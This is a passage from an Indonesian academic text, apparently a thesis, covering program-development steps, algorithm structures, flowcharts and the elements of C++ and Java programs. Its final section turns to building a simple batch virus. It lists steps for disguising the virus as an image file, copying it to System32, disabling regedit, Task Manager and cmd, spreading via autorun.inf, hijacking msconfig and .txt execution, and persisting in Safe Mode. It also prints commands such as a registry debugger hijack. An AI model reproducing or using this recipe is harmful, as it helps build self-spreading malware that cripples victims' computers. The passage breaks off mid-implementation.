sangat penting dalam program, sebab dokumentasi ini akan memperjelas maksud dari setiap pernyataan yang ada
  • 13. pada program. Dokumentasi biasanya berupa komentar-komentar pada setiap baris program. Komentar tersebut biasanya memperjelas setiap pernyataan pada setiap atau beberapa baris program. Dalam pemberian komentar, ada beberapa hal yang harus diperhatikan yaitu: a) Komentar jangan terlalu panjang b) Komentar harus jelas maksudnya c) Komentar diletakkan pada tempat yang tepat d) Keterangan yang ditulis harus logis e) Tidak menimbulkan salah pengertian 7. Melakukan pemeliharaan Langkah terakhir dalam pembuatan sebuah program adalah melakukan perawatan. Hal ini perlu dilakukan karena kemungkinan munculnya kesalahan diluar dugaan atau biasanya pengguna meminta fasilitas yang baru dalam program. 1.2. Algoritma Algoritma merupakan pola pikir yang terstruktur yang berisi tahap-tahap penyelesaian suatu masalah, yang nantinya akan diimplementasikan kedalam suatu bahasa pemrograman. Biasanya dalam program,algoritma digunakan untuk tiga struktur program yaitu: 1. Struktur urut (sequence structure) Struktur ini terdiri dari pernyataan atau beberapa pernyataan yang tidak mempunyai perulangan atau keputusan didalamnya. Berikut ini adalah algoritma untuk memecahkan masalah dalam program untuk struktur urut. Misalkan kita diminta untuk membuat algoritma dan program untuk menghitung luas dan volume suatu balok. Adapun rumus luas dari balok adalah Luas = (2*p*l) + (2*l*t), sedangkan volume balok adalah Volume = p*l*t. Catatan: p adalah panjang, l adalah lebar, dan t adalah tinggi.
  • 14. Algoritma dari permasalahan tersebut adalah: a. Masukkan panjang b. Masukkan lebar c. Masukkan tinggi d. Luas = (2*panjang*lebar) + (2*panjang*tinggi) + (2*lebar*tinggi) e. Volume = panjang*lebar*tinggi f. Tampilkan luas g. Tampilkan volume Keterangan dari algoritma diatas adalah: pada baris pertama, kedua dan ketiga, kita diminta untuk memasukkan input yang berkaitan dengan balok yaitu panjang, lebar dan tinggi. Adapun panjang balok disimpan pada variabel panjang, lebar balok disimpan pada variabel lebar dan tinggi balok disimpan pada variabel tinggi. Sedangkan pada baris keempat dan kelima, kita diminta memasukkan rumus luas dan volume balok, yaitu luas = (2*panjang*lebar) + (2*panjang*tinggi) + (2*lebar*tinggi) dan Volume = panjang*lebar*tinggi. Untuk luas balok disimpan pada variabel luas dan volume balok disimpan pada variabel volume. Dan baris keenam dan ketujuh merupakan hasil dari proses input dan proses perhitungan dari variabel input yang dimasukkan dan nantinya akan ditampilkan luas dan volume balok. 2. Struktur keputusan (decision structure) Struktur pengambilan keputusan (decision) digunakan untuk memilih salah satu alternatif jawaban yang tepat dari pilihan yang ada. C++ menyediakan dua perintah pengambilan keputusan yaitu perintah IF dan perintah SWITCH. Berikut ini adalah contoh algoritma untuk memecahkan masalah dalam program untuk struktur keputusan. Misalkan kita diminta untuk membuat algoritma dan program untuk menghitung total pembayaran dari pembelian seorang pelanggan toko. Dalam masalah ini ada ketentuan, apabila pembelian pelanggan tersebut sama dengan atau melebihi 100000, maka pelanggan tersebut mendapat discount 10%, jika tidak pelanggan tersebut hanya mendapat discount 5%. Algoritma dari permasalahan tersebut adalah:
  • 15. a. Masukkan pembelian b. Jika pembelian >=100000, discount=10%*pembelian c. Total=pembelian-discount d. Jika pembelian <100000, discount=5%*pembelian e. Total=pembelian-discount f. Tampilkan pembelian g. Tampilkan discount h. Tampilkan total pembayaran Keterangan dari algoritma tersebut adalah: Pada baris pertama, kita diminta untuk memasukkan input yang berkaitan dengan permasalahan diatas yaitu pembelian. Adapun pembelian tersebut disimpan pada variabel beli. Pada baris kedua, akan dilakukan pengujian dan pengecekan pembelian yang dimasukkan yaitu apabila pembelian pelanggan tersebut sama dengan atau melebihi 100000 atau tidak. Jika jawabannya ya, maka pelanggan tersebut mendapat discount 10% dan untuk menghitung total pembayarannya = pembelian discount. Untuk discount disimpan dalam variabel disc dan total pembayaran disimpan dalam variabel total. Jika jawabannya tidak, maka baris yang akan dikerjakan dalam program adalah baris keempat dan kelima yaitu pelanggan tersebut hanya mendapat discount 5% dan menghitung total pembayaran dengan rumus = pembelian-discount. Selanjutnya pada baris keenam sampai kedelapan, akan ditampilkan pembelian, discount dan total pembayaran. 3. Struktur perulangan (Looping Structure). Struktur perulangan (looping) digunakan untuk melakukan suatu proses secara berulang-ulang, jika suatu kondisi dipenuhi atau sebaliknya. Pada prakteknya, proses perulangan biasanya digunakan untuk beberapa hal, misalnya: mengulang proses pemasukan data, mengulang proses perhitungan dan mengulang proses penampilan hasil pengolahan data. Berikut ini adalah contoh algoritma untuk memecahkan masalah dalam program untuk struktur perulangan. Misalkan kita diminta untuk membuat algoritma dan program untuk menampilkan bilangan dari 10 sampai 1 secara
  • 16. menurun, yaitu 10,9,8,7,6,5,4,3,2,1. Algoritma dari permasalahan tersebut adalah: a. Tentukan nilai awal, batas dan penurunan nilai b. Lakukan perulangan sampai batas terpenuhi c. Tampilkan bilangan Keterangan dari algoritma diatas adalah: pada baris pertama, kita diminta untuk mendefinisikan variabel bilangan dalam hal ini disimpan dalam variabel n. Adapun nilai awal n adalah 10. Kemudian batas dari bilangan adalah n>0. Karena yang akan ditampilkan bilangan secara menurun maka bilangan awal dikurangi satu persatu. Dalam C++, penulisannya adalah n--. Pada baris kedua, proses perulangan dimulai, n dimulai dari 10, karena 10>1 maka perulangan dilakukan serta proses penurunan berjalan yaitu 10-1=9. Seterusnya, perulangan dilakukan sampai n=0. Apabila nilai n=0, maka proses perulangan dihentikan dan langkah selanjutnya akan turun kebaris ketiga yaitu menampilkan semua bilangan dalam perulangan tersebut. Salah satu konsep yang penting dalam bahasa pemrograman C++ adalah struktur. Struktur merupakan suatu bentuk susunan dari suatu program yang dibuat. Program C++ merupakan program yang berbentuk fungsi-fungsi. Main () merupakan nama dari suatu fungsi yang harus ada di program C++ dan diletakkan dibagian tertentu yang menunjukkan kepada compiler dimana awal dari suatu program. Selain itu main () ini hanya dapat digunakan sekali saja dalam suatu program. Dapat jugaa dikatakan bahwa setiap program C harus mengandung fungsi main () agar dapat diproses. Tanda brance pembuka “{“ yang diletakkan dibawah nama fungsi main () menunjukkan tanda awal dari perintah-perintah yang akan ditulis atau tanda “{“ merupakan awal dari function body atau fungsi blok. Tanda brance penutup “}” menunjukkan akhir dari suatu fungsi blok. Suatu program C++ dapat terdiri lebih dari satu fungsi. Pada program sederhana diatas hanya terdiri dari sebuah tubuh fungsi. Suatu tubuh fungsi dapat berisi beberapa fungsi, sedangkan suatu fungsi dapat dibuat dari satu atau lebih statement atau library function (fungsi pustaka)
  • 17. yang sudah tersedia. Pada contoh program diatas, perintah printif adalah fungsi pustaka yang dipergunakan untuk menampilkan hasil. 6 Bagian pertama program Java adalah mengidentifikasi lingkungan informasi. Untuk melakukan hal ini, susunan program Java menetapkan suatu kelas atau paket yang akan menjadi sebutan di dalam program itu. Disini, informasi bantuan yang ditetapkan sebagai statement „import‟. Dalam suatu program, statement import yang digunakan bisa lebih dari satu. Sebagai contoh, salah satu statement import yang biasanya digunakan dalam program adalah import java.awt.*; Statement import tersebut mengimport paket „awt‟, yang mana digunakan untuk membuat obyek GUI. Disini, java merupakan nama folder, yang mana didalamnya berisi paket „awt‟ itu. Sedangkan simbol „*‟ menandakan bahwa semua kelas dibawah paket ini tidak dimasukkan. Di dalam java, semua kode, mencakup deklarasi fungsi (method) dan variabel harus dimasukkan dalam suatu kelas. Oleh karena itu, suatu deklarasi kelas mengikuti import statement yang digunakannya. Sebuah program tunggal dimungkinkan untuk mempunyai beberapa kelas. Kelas ini boleh extend kelas lain. Selanjutnya tanda titik koma digunakan untuk mengakhiri statement program. Selain dari pada itu, program juga boleh berisi komentar. Compiler mengabaikan komentar itu. Dalam java juga mempunyai „token (tanda)‟. Token merupakan satuan individu terkecil dalam sebuah program java. Walaupun sebagai unsur yang paling kecil dari suatu program namun dia mengandung penuh arti bagi suatu compiler. Karena itu, program java merupakan sekumpulan dari token-token itu. Di dalam program java, token digolongkan kedalam lima kategori. Kelima kategori token itu seperti berikut: a. Identifikasi (identifier) b. Kata kunci (keyword) / Kata cadangan (reserve word) c. Mesin pemisah (separator) d. Harafiah (literal) 6 Wisnu Yudo, Algoritma dan Pemrograman Dengan Bahasa Java. (Yogyakarta: Graha Ilmu, 2012), hal. 48-49
  • 18. e. Operator 1.3. Flowchart7 Dalam mendeskripsikan prosedur penyelesaian permasalahan dalam bentuk alagoritma, seringkali dijumpai kesulitan jika hanya menggunakan kata- kata atau kalimat-kalimat saja. Dengan demikian, deskripsinya cenderung sulit dipahami dan memungkinkan timbulnya kesalahan interprestasi bagi orang lain. Selain itu, diperlukan banyak keterangan- keterangan yang seringkali justru sulit dimengerti. Belum lagi, setiap orang tentu memiliki cara-cara tersendiri yang berbeda sehingga tidak pernah ditemukan keseragaman dalam format penulisannya. Untuk alasan-alasan tersebut , maka penggunaan diagram alir (flowchart) akan banyak membantu dan menguntungkan. Dengan flowchart, langkah-langkah prosedur penyelesaian permasalahan dapat diekspresikan dengan serangkaian simbol grafis yang baku dan lebih mudah digunakan. Penggunaan flowchart akan menghindarkan sejak dini timbulnya kesalahan interprestasi bagi orang lain yang merupakan awal kegagalan suatu prosedur yang dikembangkan. Banyak manfaat akan diperoleh apabila kita sering menggunakan flowchart dalam mengembangkan prosedur pemecahan masalah komputasi. Pertama, kita terbiasa berfikir secara sistematis dan terstruktur dalam setiap kesempatan. Kedua, dengan menggunakan flowchart , kita akan lebih mudah untuk mengecek dan menemukan bagian-bagian prosedur yang tidak valid dan bertele-tele. Selain itu, prosedur yang dikembangkan akan lebih mudah untuk dipahami oleh orang lain, sehingga tidak menimbulkan kesalahan interprestasi apabila mau menerapkan prosedur yang kita kembangkan. Flowchart dapat diartikan sebagai suatu alat atau sarana yang menunjukan langkah-langkah yang harus dilaksanakan dalam menyelesaikan suatu permasalahan untuk komputasi dengan cara mengekspresikannya ke dalam serangkaian simbol-simbol grafis khusus. Flowchart menolong analisis dan 7 EdhySutanta,AlgoritmaTeknikPenyelesaianPermasalahanUntukKomputasi (Yogyakarta: GrahaIlmu, 2004), hal. 27-28
  • 19. programmer untuk memecahkan masalah ke dalam segmen-segmen yang lebih kecil dan menolong dalam menganalisis alternatif-alternatif lain dalam pengoperasian. Flowchart biasanya mempermudah penyelesaian suatu masalah khususnya masalah yang perlu dipelajari dan dievaluasi lebih lanjut. Adapun tujuan membuat flowchart, yaitu: 1. Menggambarkan suatu tahapan penyelesaian masalah. 2. Secara sederhana, terurai, rapi, dan jelas. 3. Menggunakan simbol-simbol standar. Simbol-simbol yang dipakai dalam flowchart dibagi menjadi 3 kelompok, yaitu: 1. Flow Direction Symbols, digunakan untuk menghubungkan simbol satu dengan yang lain yang sering disebut dengan connecting line. 2. Processing Symbols, menunjukan jenis operasi pengolahan dalam suatu proses prosedur 3. Input Output Symbols, menunjukan jenis peralatan yang digunakan sebagai media input atau output. Dalam pembuatan flowchart tidak ada rumus atau patokan yang bersifat mutlak. Karena flowchart merupakan gambaran hasil pemikiran dalam menganalisa suatu masalah dengan komputer. Sehingga flowchart yang dihasilkan dapat bervariasi antara satu pemrogram dengan pemrogram lainnya.Namun secara garis besar, setiap pengolahan selalu terdiri dari tiga bagian utama, yaitu; 1. Input berupa bahan mentah. 2. Proses pengolahan. 3. Output berupa bahan jadi. Untuk pengolahan data dengan komputer, dapat dirangkum urutan dasar untuk pemecahan suatu masalah, yaitu: 1. Start: berisi instruksi untuk persiapan perlatan yang diperlukan sebelum menangani pemecahan masalah. 2. Read: berisi instruksi untuk membaca data dari suatu peralatan input. 3. Process: berisi kegiatan yang berkaitan dengan pemecahan persoalan sesuai dengan data yang dibaca.
  • 20. 4. Write: berisi instruksi untuk merekam hasil kegiatan ke perlatan output. 5. End: mengakhiri kegiatan pengolahan. 1.3.1. Pedoman-pedoman dalam Membuat Flowchart8 Bila seorang analis dan programmer akan membuat flowchart, ada beberpa petunjuk yang harus diperhatikan, seperti: 1. Flowchart digambarkan dari halaman atas ke bawah dan dari kiri ke kanan. 2. Aktivitas yang digambarkan harus didefinisikan secara hati-hati dan definisi ini harus dapat dimengerti oleh pembacanya. 3. Kapan aktivitas dimulai dan berakhir harus ditentukan secara jelas. 4. Setiap langkah dari aktivitas harus diuraikan dengan menggunakan deskripsi kata kerja, misalkan menghitung pajak penjualan. 5. Setiap langkah dari aktivitas harus berada pada urutan yang benar. 6. Lingkup dan range dari aktifitas yang sedang digambarkan harus ditelusuri dengan hati-hati. Percabangan-percabangan yang memotong aktivitas yang sedang digambarkan tidak perlu digunakan dan percabangannya diletakkan pada halaman yanga terpisah atau dihilangkan seluruhnya bila percabangannya tidak berkaitan dengan sistem. 7. Gunakan simbol- simbol flowchart yang standar. 1.3.2. Jenis-jenis Flowchart Flowchart terbagi atas 5 jenis, yaitu: 1. Flowchart Sistem Flowchart sistem merupakan bagan yang menunjukan alur kerja atau apa yang sedang dikerjakan di dalam sistem secara keseluruhan dan menjelaskan urutan dari prosedur-prosedur yang ada di dalam sistem. Dengan kata lain, flowchart ini merupakan deskripsi secara grafik dari urutan prosedur-prosedur yang terkombinasi yang membentuk suatu sistem. Flowchart sistem terdiri dari data yang mengalir melalui sistem dan proses yang mentrasformasikan data itu. Data dan proses dalam flowchart sistem 8 Normalia dan Nikous Soter, Struktur Data danAlgoritma (Medan: USU Press, 2007), hal. 5-16
  • 21. dapat digambarkan secara online (dihubungkan langsung dengan komputer) atau offline (tidak dihubungkan langsung dengan komputer, misalnya mesin tik, cash register atau kalkulator). 2. Flowchart paperwork/Flowchart dokumen Flowchart paperwork menelusuri alur dari data yang ditulis melalui sistem. Flowchart paperwork sering disebut juga dengan flowchart dokumen. Kegunaan utamanya adalah untuk menelusuri alur form dan laporan sistem dari satu bagian ke bagian lain baik bagaimana alur form dan laporan diproses, dicatat dan disimpan. 3. Flowchart Skematik Flowchart skematik mirip dengan flowchart sistem yang menggambarkan suatu sistem atau prosedur. Flowchart skematik ini bukan hanya menggunakan simbol-simbol flowchart standar, tetapi juga menggunakan gambar-gambar komputer, peripheral, form-form atau peralatan lain yang digunakan dalam sistem. Flowchart skematik digunakan sebagai alat komunikasi antara analis sistem dengan seseorang yang tidak familiar dengan simbol-simbol flowchart yang konvensional. Pemakaian gambar sebagai ganti dari simbol-simbol flowchart akan menghemat waktu yang dibutuhkan oleh seseorang untuk mempelajari simbol abstrak sebelum dapat mengerti flowchart. Gambar- gambar ini mengurangi kemungkinan salah pengertian tentang sistem, hal ini disebabkan oleh ketidak-mengertian tentang simbol-simbol yang digunakan. Gambar-gambar juga memudahkan pengamat untuk mengerti segala sesuatu yang dimaksudkan oleh analis, sehingga hasilnya lebih menyenangkan dan tanpa ada salah pengertian 4. Flowchart Program Flowchart program dihasilkan dari flowchart sistem. Flowchart Program merupakan keterangan yang lebih rinci tentang bagaimana setiap langkah program atau prosedur sesungguhnya dilaksanakan. Flowchart ini menunjukan setiap langkah program atau prosedur dalam urutan yang tepat saat terjadi. Programmer menggunakan flowchart program untuk
  • 22. menggambarkan urutan instruksi dari program komputer. Analis Sistem menggunakan flowchart program untuk menggambarkan urutan tugas-tugas pekerjaan dalam suatu prosedur atau operasi. 5. Flowchart Process Flowchart process merupakan teknik penggambaran rekayasa industrial yang memecahkan dan menganalisi langkah-langkah selanjutnya dalam suatu prosedur atau sistem. Flowchart proses digunakan oleh perekayasa industrial dalam mempelajari dan mengembangkan proses-proses manufacturing. Dalam analisi sistem, Flowchart ini digunakan secara efektif untuk menelusuri alur suatu laporan atau form. 1.3.3. Simbol- Simbol Flowchart Simbol- simbol flowchart yang biasanya dipakai adalah simbol- simbol flowchart standar yang dikeluarkan oleh American National Standard Institure (ANSI) dan Internasional Standardization Organization (ISO). Simbol-simbol flowchart standar adalah sebagai berikut Tabel 1.1. Simbol-simbol Flowchart Simbol Arti Terminator Awal ataupun akhir flowchart Input/ output Merepresentasikan input data atau output data yang diproses atau informasi Proses Mempresentasikan operasi
  • 23. Tabel 1.1. Simbol-simbol Flowchart (Lanjutan) Simbol Arti Penghubung (on page reference) Penghubung dari bagian flowchart khususnya halaman yang sama Off- page reference Penghubung bagan flowchart untuk halaman yang berbeda. Predefined Process Rincian operasi berada di tempat lain Preparation Pemberian harga awal Punched Card Input/ output yang menggunakan kartu berlubang Dokumen Input atau output format yang dicetak On-line Storage Input/output yang mengguanakan penyimpanan akses langsung
  • 24. Tabel 1.1. Simbol-simbol Flowchart (Lanjutan) Simbol Arti Magnetic Disk Input/ output yang menggunakan disk magnetik 1.4. Sistem Virus Batch Sederhana 1.4.1. Pendahuluan Saat ini perkembangan teknologi komunikasi dan informasi sangat pesat, sehingga manusia semakin mudah menjalankan aktivitasnya sehari-hari. Sebagian besar orang bekerja dengan komputer, baik menggunakan desktop PC, laptop atau notebook. Bahkan sampai semua data pekerjaan, dokumentasi, koleksi foto, lagu, video, dan lain-lain, semuanya dapat disimpan dalam perangkat PC maupun Notebook tersebut, sehingga memudahkan apabila akan digunakan sewaktu- waktu, tetapi sering perangkat elektronik tersebut kurang mendapat perhatian lebih dari para pengguna maupun pemiliknya, terutama di sisi keamanan. Contoh: virus yang menyerang PC maupun Notebook yang mengganggu dokumen atau aplikasi dalam komputer, lebih parah lagi aplikasi menjadi tidak dapat dijalankan atau dokumen menjadi rusak.Perkembangan virus pun tidak kalah pesatnya. Jenis virus yang sudah beredar sangat beragam, salah satunya virus batch, virus sederhana yang menggunakan perintah-perintah dalam DOS. Sebenarnya jenis virus batch ini tidak berbeda dengan virus-virus yang lain, hanya proses pembuatannya tidak memerlukan bahasa pemrograman tingkat lanjut dengan beberapa baris perintah saja virus jenis ini bisa menjadi virus sederhana yang sifatnya hanya mengganggu, atau menjadi virus yang cukup berbahaya. Penelitian ini dilakukan agar dapat lebih mengetahui tentang seluk beluk virus batch dan bahayanya, mengetahui metode penyerangan dan penyebaran virus, serta memberikan manfaat kepada user mengetahui dan menyadari apakah komputernya telah terserang virus batch atau belum, sehingga dapat mencegah virus batch menginfeksi komputer user. Salah satu cara agar virus batch tidak
  • 25. masuk adalah dengan mencegah user mengakses fitur-fitur tertentu, seperti registry editor, command prompt, task manager, dan lain sebagainya. Menurut (Mufadhol, 2008), dalam tulisannya menjelaskan pengertian, cara penyebaran, jenis-jenis virus komputer, kondisi komputer apabila terserang virus, dan tips pencegahan serangan virus. Dari tulisan tentang seluk beluk virus komputer ini membantu meningkatkan kesadaran dan menambah pengetahuan user terhadap virus komputer serta caracara pencegahannya, salah satunya pemasangan antivirus. Tinjauan pustaka lainnya (Suhandi,2009), meneliti perilaku virus H1N1 pada sistem operasi windows dan membuat aplikasi antivirus songket menggunakan metode Behavior Blocking Detection untuk menangkal virus H1N1 tersebut. Aktivitas serangan virus secara umum dimulai akibat “kecerobohan” user, yaitu ketika user men-double click suatu file yang telah terinfeksi oleh virus. File-file virus tersebut biasanya berekstensi *.bat, *.exe, *.scr, *.vbs. File-file dengan ekstensi seperti itu adalah file program yang dapat diakses atau dijalankan secara langsung oleh komputer (Windows) tanpa perantara software tambahan dari Windows. Begitulah asal mula kehidupan virus di komputer user. (Rafrastara, 2007). Semakin majunya perkembangan virus sekarang ini perlu diwaspadai juga, karena virus tidak hanya bisa menginfeksi file-file program seperti disebutkan di atas, tapi bisa juga menginfeksi file gambar, video, lagu, juga file- file dokumen dan semacamnya. Jadi tidak tertutup kemungkinan bila suatu saat file dokumen tiba-tiba tidak bisa dibuka lagi, atau menghilang dengan tiba-tiba. Kemungkinan-kemungkinan seperti itu harus tetap diwaspadai. Dalam dunia perkomputeran saat ini, virus bukanlah suatu hal yang menggemparkan. Bahkan mungkin sudah menjadi hal yang biasa di kalangan para pengguna komputer. Mulai dari virus yang sederhana, hingga virus yang sifatnya sangat berbahaya yang memiliki kemampuan yang bersifat merusak baik sistem maupun data yang ada di dalam suatu komputer. Definisi Virus adalah suatu program malware (software jahat) yang sifatnya mengganggu dan cenderung merusak kinerja sistem atau file-file tertentu yang merupakan sasaran utama mereka. Biasanya memiliki kemampuan untuk berkembang biak dan memanfaatkan program lain untuk
  • 26. penyebarannya. Syarat agar suatu program dapat disebut sebagai virus, antara lain : mampu menggandakan diri hingga ke removable disk, mampu menyembunyikan proses kerjanya, mampu memanipulasi file atau folder, mampu memanipulasi registry. Jenis virus bisa dibedakan menjadi beberapa bagian, yaitu: 1. Virus Boot Sector, merupakan virus umum, menggandakan diri dengan cara menindih boot sector asli pada sebuah disk, sehingga pada saat booting virus akan langsung dijalankan ke memori. Virus file, virus ini menyerang file yang dijalankan oleh suatu sistem operasi. Biasanya menyerang com atau exe. 2. Virus Direct Action, virus ini akan masuk ke memori untuk menjalankan file lainnya, lalu menjalankan program lain untuk menipu. Multi Partition Virus, merupakan gabungan dari virus boot sector dan virus file. 3. Polymorphic virus, virus dirancang untuk mengelabui program antivirus, yaitu dengan mengubah struktur dirinya setelah menjalankan perintah. 4. Stealth virus, mengendalikan instruksi-instruksi level DOS dengan menguasai tabel interrupt. 5. Macro virus, ditulis oleh bahasa pemrograman dari suatu aplikasi, sehingga bersifat platform independent. Karakteristik Virus umumnya mempunyai struktur yang hampir sama, dan dapat dibedakan menjadi beberapa kode, yaitu : (Shadewa, 2007) kode penanda virus, kode penggandaan virus, kode pertahanan dan penyembunyian deteksi, kode pemicu, dan kode manipulasi. Kode penanda virus, setiap virus pasti mempunyai identitas masing-masing. Bisa dibuat dengan karakter atau jumlah byte tertentu sebagai marker sesuai dengan keinginan si pembuat. Contoh, virus A mempunyai penanda X, dan virus B mempunyai penanda Y, maka virus-virus tersebut akan dikenali antivirus sesuai penandanya. Kode penggandaan virus, suatu program tidak dapat dikatakan virus jika tidak dapat menggandakan dirinya. Banyak cara atau jurus untuk menggandakan diri yang digunakan oleh virus-virus sekarang ini. Kode pertahanan dan penyembunyian deteksi, kode ini diperlukan virus untuk mengecoh antivirus, bisa dengan mengenkripsi file virus tersebut, menyembunyikan proses kerja pada komputer korban, ataupun menampilkan
  • 27. pesan pengalihan ketika user mencoba menjalankan program antivirus. Kode pemicu, setiap virus mempunyai program atau kode untuk mengaktifkan program utamanya. Program atau kode ini bisa dipicu dengan bermacam-macam cara, contohnya virus diaktifkan ketika user membuka file tertentu pada jendela Explorer. Atau dengan memakai nama file yang sedang populer dan menarik perhatian user untuk menjalankan file tersebut. Kode manipulasi, kode ini berguna untuk menghapus file, menjalankan aplikasi tertentu untuk mencuri dan mengirimkan data ke sebuah email. Batasan manipulasi terserah kepada pembuatnya, karena hal inilah maka virus dikategorikan dalam program yang bersifat merusak. Cara kerja sebuah virus diterangkan sebagai berikut : Setelah program virus diklik oleh user, maka virus akan menjalankan proses, kemudian virus menjalankan kode pertahanan diri, yaitu dengan menyembunyikan proses yang terjadi di komputer, selanjutnya virus akan menjalankan kode penggandaan diri yaitu dengan mencari file berekstensi tertentu, seperti .exe, .jpg, .doc, dan lain- lain. Selanjutnya virus akan memeriksa apakah file tersebut ada kode penandanya, jika file tersebut tidak ada kode penandanya maka virus akan menginfeksi file yang sehat tersebut, atau menyisipkan kode virus, kemudian virus akan mencari file yang belum terinfeksi, sedangkan jika virus tidak menemukan penanda pada file yang dicari, maka virus akan mencari file selanjutnya yang belum terinfeksi. Kemudian virus akan menjalankan kode manipulasi, misalnya menghapus data atau menjalankan kode penggandaan diri lagi, setelah kode tersebut dijalankan, virus akan mengerjakan kode pertahanan kembali, yaitu dengan cara mengenkrip file virus untuk menyembunyikan diri dari pendeteksian antivirus. Batch file merupakan salah satu program yang dapat diakses dan dijalankan secara langsung oleh sistem Windows tanpa bantuan program pendukung lainnya. Batch file ini memiliki ekstensi file .bat. Selain batch file, windows juga dapat mengeksekusi program yang berekstensi .com, .exe, dan lain sebagainya. Perintah-perintah yang dipahami oleh batch file adalah perintah-perintah yang sifatnya internal maupun eksternal pada DOS (cmd.exe pada Windows). Perintah internal adalah perintah yang dapat dieksekusi secara langsung tanpa adanya program tambahan.
  • 28. Sedangkan perintah eksternal adalah suatu perintah yang membutuhkan program tambahan untuk bisa menjalankannya, seperti attrib.exe, format.com, dan lain sebagainya. Jadi batch file mampu mengeksekusi perintah command prompt dengan sekali eksekusi saja. Berikut beberapa contoh perintah internal dan eksternal yang ada dalam DOS Tabel 1.2. Contoh Perintah Internal DOS No Perintah Fungsi 1 Cls Membersihkan layar 2 Cd Memanggil direktori 3 Dir Menampilkan isi direktori atau drive 4 Copy Menyalin file 5 Del Menghapus file 6 Ren Mengganti nama file 7 Md Membuat direktori baru 8 Rd Menghapus direktori 9 Date Menampilkan dan mengatur tanggal 10 Time Menampilkan dan mengatur waktu 11 Echo Mencetak string 12 Format Memformat partisi atau drive 13 Unformat Partisi atau drive yang terformat 14 Merecover Merecover file yang terhapus undelete 15 Attrib Mengatur atribut file 16 Edit Membuat atau mengedit file 17 Label Menentukan label disk 18 Tree Menampilkan direktori beserta sub-subnya 19 Deltree Menghapus direktori beserta sub-subnya 20 Xcopy Menyalin satu direktori penuh 21 Chdsk Melakukan pengecekan pada disk 22 Scandisk Mendiagnosa permasalahan pada disk
  • 29. Registry windows merupakan ruang kontrol utama dari sistem operasi Windows. Hal ini dikarenakan registry merupakan basis data pusat pengaturan atau konfigurasi Windows serta informasi dari segala hal yang ada di dalam komputer, mulai dari hardware yang terpasang, port-port yang digunakan, software yang terinstal, hingga informasi seputar pengguna lain juga terekam secara rapi dalam basis data tersebut. Semua isi registry tersebut dapat dimodifikasi melalui jendela Registry Editor. Isi dari registry secara umum terdiri dari dua unsur, yaitu Hive dan Value Entry. Hive merupakan sarang atau cabang utama dari registry yang berfungsi menangani kasus-kasus tertentu. Umumnya dalam registry terdapat 5 macam hive, yaitu : HKEY_CLASSES_ROOT, merupakan Subkey dari HKEY_LOCAL_MACHINE Software. Biasa digunakan untuk mengatur file asosiasi ketika membuka suatu file melalui Windows Explorer. HKEY_CURRENT_USER, yang akan digunakan untuk menyimpan informasi konfigurasi dari user yang sedang aktif saat ini, dan merupakan subkey dari HKEY_USERS. Pada key ini dapat dilakukan pengaturan yang diantaranya adalah pengaturan seputar Folder, Control Panel, Windows Explorer, dan tampilan layar yang digunakan oleh user tersebut. HKEY_LOCAL_MACHINE, berisi informasi seputar hardware, software, dan lain sebagainya yang terpasang dan berhubungan dengan Windows. Key ini berlaku untuk semua aplikasi user. HKEY_USERS, merupakan induk dari HKEY_CURRENT_USER. Fungsinya adalah menyimpan informasi semua user yang ada di komputer tersebut. HKEY_CURRENT_CONFIG, memuat informasi seputar profile hardware yang digunakan pada suatu komputer. Value Entry, merupakan nilai yang dapat berfungsi sebagai sebuah perintah yang biasanya digunakan untuk melakukan aksi atau manipulasi tertentu. Value entry terdiri dari 3 bagian, yaitu : DWORD value (REG_DWORD), merupakan data dengan nilai 4 bytes. Namun nilai yang sering dipakai dalam DWORD value adalah nilai boolean, yaitu 1 (benar) dan 0 (salah). String value (REG_SZ), merupakan jenis karakter biasa atau string standard yang umum digunakan oleh manusia. Binary value (REG_BINARY), merupakan data atau nilai mentah, seperti nilai yang dapat dipahami oleh komputer, yaitu biner.
  • 30. Informasi seputar hardware diletakkan sebagai data biner, namun pada Registry Editor dapat dilihat dalam format Hexadecimal. 1.4.2. Metode Virus batch dikonversikan menjadi file .exe, dengan menggunakan icon file gambar (icon file JPG), bukan icon file aplikasi. Hasil akhir akan diberi nama file virusku.exe. Algoritma virus batch sederhana sebagai berikut: Kopikan diri sendiri ke folder WindowsSystem32. Matikan Regedit. Nonaktifkan Folder Options. Matikan Task Manager. Nonaktifkan Command Prompt. Buat file autorun.inf. Kopikan diri sendiri dan file autorun.inf ke drive C, D, E, F,G, H. Sembunyikan file-file yang memiliki atribut System File. Sembunyikan File Extension. Buat file restart.bat di direktori C:Windows. Buat Schedule Task untuk menjalankan file restart.bat setiap 2 menit. Aktifkan virus dalam mode StartUp. Alihkan eksekusi msconfig ke file virus. Alihkan eksekusi file *.txt ke file virus. Aktifkan virus dalam Safe Mode dan Safe Mode With Command Prompt. Jalankan game Minesweeper bawaan Windows. Konversikan file contoh3.bat menjadi file virusku.exe. 1.4.3. Pembahasan Implementasi dari diagram alir dan algoritma pembuatan virus batch adalah sebagai berikut: Kopikan diri sendiri ke folder WindowsSystem32. Sebelumnya periksa terlebih dahulu keberadaan diri sendiri di folder WindowsSystem32. Jika belum ada, kopikan diri sendiri ke folder tersebut dengan perintah : If not exist C:Windowssystem32 virusku.exe copy virusku.exe C:Windowssystem32. Matikan Regedit, yang akan digunakan metode yang berbeda, jadi bukan lagi melakukan bloking pada program registry editor, tetapi langsung menutup program registry editor setiap kali dijalankan. Sehingga registry editor tidak dapat dibuka/dijalankan dengan perintah: REG ADD “HKLMSoftwareMicrosoft Windows NTCurrentVersionImage File Execution Optionsregedit.exe” /v debugger /t REG_SZ /d “tskill regedit” /f Nonaktifkan Folder Options, dengan menyembunyikan fasilitas Folder Options, sebagai salah
